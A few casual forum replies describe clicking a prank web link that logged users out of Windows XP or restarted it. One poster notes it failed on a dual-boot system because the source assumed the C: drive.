I clicked it. I saw little things starting to load and suspected it was going to set a theme to make winders look like a Mac or something per the only thing on screen something like "Too bad you don't have windows XP anymore" or something like that.

I closed the window before much of anything could load, and I was logged out. I had to click on my administrator button to log back in. No biggie.

Ah, I see why it didn't work. The source specifies C: as the drive Windows is installed in. I dual boot with 98, so my XP Windows directory is on the D: drive.

It's the same thing. From the look of the code it looks like it's the sort of thing Windows update would do after installing critical updates, except it asks you if you want to reboot, not just do it. :p

I just saw a few flashes of boxes, couldn't see any text as it was, but about 10-15 seconds later, up popped the logon screen. How amusing :p
